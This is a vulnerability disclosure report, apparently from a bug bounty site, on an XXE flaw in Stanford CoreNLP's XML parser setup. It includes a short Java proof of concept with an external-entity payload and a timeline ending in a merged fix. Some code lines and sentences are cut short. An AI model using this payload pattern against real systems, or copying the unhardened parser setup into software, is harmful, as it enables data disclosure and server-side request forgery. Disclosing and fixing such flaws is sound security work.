Improper Restriction of XML External Entity Reference in stanfordnlp/corenlp


Reported on

Jan 11th 2022


The TransformXML() function makes use of SAXParser generated from a SAXParserFactory with no FEATURE_SECURE_PROCESSING set, allowing for XXE attacks. In

try {
      saxParser = SAXParserFactory.newInstance().newSAXParser();
} catch (Exception e) {"Error configuring XML parser: " + e);
      throw new RuntimeException(e);

SAXParser is created without FEATURE_SECURE_PROCESSING set, leaving it vulnerable to XXE

Proof of Concept

Extracted out the key function SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser(), to showcase how it can be exploited.

import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.HandlerBase;


public class Poc {

    public static void main(String[] args) {        
        try {
            String xmlpoc = "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"\">]><foo>&xxe;</foo>";
            SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser();
            saxParser.parse(new ByteArrayInputStream(xmlpoc.getBytes()), new HandlerBase());
        } catch (Exception e) {

Causes an SSRF to


This vulnerability is capable of XXE to disclose data / conduct SSRF attacks etc.

We are processing your report and will contact the stanfordnlp/corenlp team within 24 hours. 16 days ago
haxatron modified their report
16 days ago
haxatron submitted a
16 days ago
We have contacted a member of the stanfordnlp/corenlp team and are waiting to hear back 15 days ago
stanfordnlp/corenlp maintainer validated this vulnerability 15 days ago
haxatron has been awarded the disclosure bounty
The fix bounty is now up for grabs
stanfordnlp/corenlp maintainer confirmed that a fix has been merged on 1f5213 15 days ago
haxatron has been awarded the fix bounty
15 days ago


@maintainer line 198 should be spf.newSAXParser();

stanfordnlp/corenlp maintainer
3 days ago


Thank you for the report!